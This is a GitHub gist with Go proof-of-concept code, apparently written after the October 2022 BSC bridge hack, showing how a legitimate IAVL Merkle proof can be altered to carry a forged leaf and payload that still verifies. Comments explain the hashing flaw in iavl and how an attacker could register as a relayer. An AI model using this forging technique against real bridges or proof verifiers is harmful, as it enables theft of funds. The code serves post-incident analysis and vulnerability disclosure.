Skip to content

Instantly share code, notes, and snippets.

@samczsun
Created October 7, 2022 00:37
Show Gist options
  • Star 29 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save samczsun/8635f49fac0ec66a5a61080835cae3db to your computer and use it in GitHub Desktop.
Save samczsun/8635f49fac0ec66a5a61080835cae3db to your computer and use it in GitHub Desktop.
package main
import "fmt"
import "encoding/hex"
import "github.com/tendermint/tendermint/crypto/merkle"
import "github.com/tendermint/iavl"
import "github.com/tendermint/tendermint/crypto/tmhash"
import "strings"
func mustDecode(str string) []byte {
if strings.HasPrefix(str, "0x") {
str = str[2:]
}
b, err := hex.DecodeString(str)
if err != nil {
panic(err)
}
return b
}
func getValueOp(legitProofBytes []byte) iavl.IAVLValueOp {
var legitProof merkle.Proof
if err := legitProof.Unmarshal(legitProofBytes); err != nil {
panic(err)
}
legitValueOpIntf, err := iavl.IAVLValueOpDecoder(legitProof.Ops[0])
if err != nil {
panic(err)
}
return legitValueOpIntf.(iavl.IAVLValueOp)
}
func main() {
// https://bscscan.com/tx/0xe93f7c385e2510007f0b9319f001fed0fc1d718604fbab5c8afaa55fe0bfb624
legitPayloadBytes := mustDecode("0x00000000000000000000000000000000000000000000000000000e35fa931a0000f86ea0424e42000000000000000000000000000000000000000000000000000000000094000000000000000000000000000000000000000088018fb570626fa400942218ffe5fd6215aefb988c5130b109047ef903cc943cf604378ded77537f02ed2d082a609a0235864b84633f540c")
legitProofBytes := mustDecode("0x0af8090a066961766c3a76120e00000100380200000000010dda4d1add09db090ad8090a2f081910978cb90818a6b892810122206a972442231cdcbd083f53f5b6e7d1364d01a7c3e39481a393663421d9d91e730a2f081810c5cdba0518a6b89281012220015e9258171954de124eadca473471c85a218d1b4f30ab6046123df79b143e100a2f081710c58dbb0218a6b89281012220653ec3905c6eea07cd6122664c235a5bbee741796e9beb0090b651f1881aa6af0a2e081610c58d7c18a6b8928101222010da239ec014e3708bb63394a6ac659bf0a5775e01fb061ba47489f5a70a1e590a2e081510c58d4c18a6b8928101222016d590ab6e451029d6e0fe2e414519bad0722c7960915b09709a8d79489e689f0a2e081410c58d1c18a6b892810122206e5d42435b893a6ef3d2c3226dc3d8fc6298b50765c14401717cce9d4779b1740a2e081310c58d1018a6b89281012220a66c4e211073542bdfbe41b7ffb3c97233e1328e08307585572572e2086a70660a2e081210c58d0a18a6b89281012220bbea65146adcbf69db8aa5d40ea78b2881bbe49a1550a7848a2a15c0bd8c72a10a2e081110c58d0418a6b89281012a20b209c6eae3c638eedee790ba4ac4ba1a28e6ee9e508c312890faf68203f6c8f40a2e081010cfb60218a6b892810122205ea9f3914db297bb2a2167c73b48d65ef750412881a41b26431b505e1b0807120a2e080f10cfb60118a6b892810122206edc69967bdccfa5341c641bd114685664731b6fbc1eb5ae0255e5668050ae1c0a2d080e10cf7618a6b89281012220245256c699761062ee26233725281d53bff60d087e638efb01d7cfc2ccc042f20a2d080d10cf3618a6b8928101222022ed28f7b77e2939b6de5947f76be014455ca91bb158fbeee88c8f6428b285120a2d080c10cf1618a6b8928101222092ead60656d3de32a46b5103aa914b786576f7be80c82dc769e2246dfe3b43ff0a2d080b10cf0e18a6b892810122200de250a575819ad357b89726d95ff6337f644ad81972f16d21171ad50c4621060a2d080a10cf0618a6b89281012220e170c2cf4413e475fdeff411c28e5cbfa50e6c642eaa5b95cad752e53ac2f89d0a2d080910cf0218a6b8928101222016622f912b4b40e830cfddbca2aacdcb03f29e012aa0841b09598247d0fe7fd30a2d080810cf0118a6b8928101222031aa9188c3bf0870796542b3291cf9c0b4264cb05a7206844cec6eab3ed4485d0a2c0807104f18a6b8928101222068c7d5d1a61de64b294a73c830779d3d140cd6d1812efd36b01f3616a210da7c0a2c0806102f18a6b892810122201bfed012d1294aedcdd46d4519d41e8b7903aec21fb50276d68df1c0f1eeaa810a2c0805101f18a6b892810122208b5140b3f84965769728c21dad7765685f15fbea97addd4a18e0e19fbfa812dc0a2c0804100f18a6b892810122206212ddc1731eb3c7275c22028461ca618adb69ca958b970ba70a69efcaf746f00a2c0803100718a6b8928101222027d509ed505ba5189c02e09a8cebbd8da88b0f9fb80bd493303e956396d5fa7d0a2c0802100318a6b892810122204ee30871caf373210ae36efc699cb4dd1c1517c5715f1f771cbcc3e1763cbb760a2c0801100218a6b8928101222086053a337c6c00c08b0150f4b04c25d46a545bfca4ffd23bcb9f4bab5620a9c41a380a0e00000100380200000000010dda4d1220c9702dc684f40f649086354efd81036405d65bd7973b33a49bd094ada8bea34118a6b89281010ac2060a0a6d756c746973746f726512036962631aae06ac060aa9060a0f0a0376616c12080a0608a9b89281010a100a046d61696e12080a0608a9b89281010a310a03616363122a0a2808a9b89281011220bebbffe66b498475751018685043f7f8af3748c11b474ae4bab1ed6f872a6afc0a390a0b61746f6d69635f73776170122a0a2808a9b89281011220c3c3e14f9855a19fbb7787ec7334e7d1e89515bc968bbd95a3c0757b73a0f8910a340a06706172616d73122a0a2808a9b8928101122023c2f8353abab04889611cf1df2db289c433739a0b862982eb101d6bceddf8f40a340a06746f6b656e73122a0a2808a9b892810112206c729e5786bc7e711151be2c8fae1da0e046dffdf63019c1b2cab9c393e005c70a180a0c7374616b655f72657761726412080a0608a9b89281010a340a06627269646765122a0a2808a9b892810112201696f48f0831247582113e127d54c8dfd5a83ce7d59f87b5dbc43d3289287f000a330a057374616b65122a0a2808a9b89281011220e125aa32d98388b262476bcb57bc67e5a561694c4b4ab7cdc276592a4c8102520a310a03696263122a0a2808a9b89281011220a430a90e5901412e8883d71166115a54bf31165d4300ca128d891f32bad715890a310a03646578122a0a2808a9b89281011220a83f009853645e8b594bdccff32ceaf235d7c17b0e3a9bfda9d24fb4b9e768da0a300a027363122a0a2808a9b89281011220e4adc46ac3861ca6ee345294c621d2bc048079dab94ee30333c4585e2cbe30890a370a0974696d655f6c6f636b122a0a2808a9b89281011220d73dee2cd461a123714cce39fa8f820706fa270dc290257d6295dd8c29a870500a310a03676f76122a0a2808a9b89281011220bc32151659d2d697d4258aacb0c2e7a5c6b3d3dda375c6c634fd58d61dedf4c00a360a08736c617368696e67122a0a2808a9b89281011220399a04243f1a0ad8f1b0487eb19aefe91a357446154ea2c59bee1143d4c17bbe0a340a066f7261636c65122a0a2808a9b89281011220bbabfac717aea0c30b0bc13da73e1a501450cdf5cd4a0b9feeb35b4b7c10242e0a330a057061697273122a0a2808a9b8928101122065a9c4ae2bba63d233c7fc28d81151880b0a4533df8cbed77660356ae0aa7c5b")
forgedPayloadBytes := mustDecode("0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")
forgedValueHash := tmhash.Sum(forgedPayloadBytes)
legitValueOp := getValueOp(legitProofBytes)
forgedValueOp := getValueOp(legitProofBytes)
// we do a little forging
forgedLeafNode := getValueOp(legitProofBytes).Proof.Leaves[0]
forgedLeafNode.Key = append([]byte(nil), []byte(forgedValueOp.GetKey())...)
forgedLeafNode.Key[13] = 255
forgedLeafNode.ValueHash = forgedValueHash
forgedValueOp.Proof.Leaves = append(forgedValueOp.Proof.Leaves, forgedLeafNode)
forgedValueOp.Proof.InnerNodes = append(forgedValueOp.Proof.InnerNodes, iavl.PathToLeaf{})
forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath) - 1].Right = mustDecode("A038FCFB3DD5C419DF679CE76FDAB39D21149069D037C39034CEF55AFDB9631B")
rootHash := legitValueOp.Proof.ComputeRootHash()
verifyErr := legitValueOp.Proof.Verify(rootHash)
fmt.Printf("legitOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)
rootHash = forgedValueOp.Proof.ComputeRootHash()
verifyErr = forgedValueOp.Proof.Verify(rootHash)
fmt.Printf("forgedOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)
{
verifyErr = legitValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
fmt.Printf("legit verifyErr=%v\n", verifyErr)
verifyErr = legitValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
fmt.Printf("forged verifyErr=%v\n", verifyErr)
}
{
verifyErr = forgedValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
fmt.Printf("legit verifyErr=%v\n", verifyErr)
verifyErr = forgedValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
fmt.Printf("forged verifyErr=%v\n", verifyErr)
}
}
@zb3
Copy link

zb3 commented Oct 7, 2022

So this (path, nleaf) hash was incorrectly computed? I see that in the proofInnerNode.Hash function, the value of Right is ignored if Left is not empty, so you were able to change the path yet the (path, nleaf) hash did not change.
https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof.go#L53

@zb3
Copy link

zb3 commented Oct 7, 2022

But if this was the actual vector (and not the bug in multistore), then it'd be a critical vulnerability in Tendermint/Cosmos, right?

@arnabmitra
Copy link

So this (path, nleaf) hash was incorrectly computed? I see that in the proofInnerNode.Hash function, the value of Right is ignored if Left is not empty, so you were able to change the path yet the (path, nleaf) hash did not change. https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof.go#L53

looks to still exist on master and latest release too https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof.go#L79 so i am curious on the ^^ also?

@samczsun
Copy link
Author

samczsun commented Oct 7, 2022

Yes, unfortunately as it turns out this wasn't a bug with BSC's usage of iavl but in iavl itself. Fortunately Cosmos uses ics23 so they're not affected

@zhiqiangxu
Copy link

zhiqiangxu commented Oct 8, 2022

@samczsun Note that even if you can forge a leaf, the handlePackage method is whitelisted(onlyRelayer), only a registered relayer can call that method. That means if it's hacked this way, it must have been done by some internal guy, right?

@zb3
Copy link

zb3 commented Oct 8, 2022

@zhiqiangxu, from what I can see, to be a relayer you "only" need to deposit 100 BNB, this transaction registers the address as a relayer albeit it's not the first one:
https://bscscan.com/tx/0xe1fe5fef26e93e6389910545099303e4fee774427d9e628d2aab80f1b53396d6

@zhiqiangxu
Copy link

@zb3 thanks, good to know!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment